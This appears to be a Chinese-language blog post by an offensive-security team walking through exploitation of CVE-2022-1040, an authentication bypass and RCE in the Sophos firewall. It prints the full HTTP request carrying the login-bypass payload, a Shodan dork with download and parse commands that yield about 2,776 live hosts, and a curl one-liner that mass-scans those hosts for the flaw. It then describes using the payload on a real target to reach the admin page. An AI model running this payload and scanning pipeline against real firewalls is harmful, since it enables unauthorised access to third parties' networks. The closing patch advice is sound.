在Toasec研究团队中,我们致力于进攻性网络安全,并着手分析了Sophos防火墙中的此漏洞。
该漏洞与许多其他漏洞一样,如果你知道如何在推特上搜索,就可以发现并被通知。我们观察到自三月份起,开始出现关于RCE的文章。
如果我们查看拥有POC的仓库
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
我们可以看到payload(mode=151&json=),它允许我们绕过登录,并且我们同样可以看到端点webconsole/webpages/login.jsp。
现在我们来分析Greynoise上的攻击,验证其是否正在被积极利用。

一旦我们确认了端点,并通过greynoise验证了一些攻击中使用的路径,我们就可以在Shodan上创建我们的dork:title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" 这是我们识别出可能性最大的dork,但我们必须记住,受影响的版本是 Sophos XG115w Firewall 17.0.10 MR-10。

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
我们来验证数据
我们将数据解析为允许自动化的格式,并发现有2776个可能的目标
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

现在我们需要清理并移除逗号,以便更容易地使用onliner
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
现在我们可以用更合适的格式来使用onliner
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

一旦我们验证了目标,只需要选择一个并进行测试,访问登录面板

我们拦截登录请求并将其发送到响应器

我们使用payload修改请求,并且应该会重定向到防火墙管理页面

我们尝试访问 index.jsp 路径

我们已经证实目标存在该漏洞,同样,它在许多主机上仍然处于活跃状态。不过,与其它漏洞相比,可以观察到最近已经有了广泛的缓解措施。
在这些情况下,最重要的是在供应商提供安全补丁后立即进行更新和安装。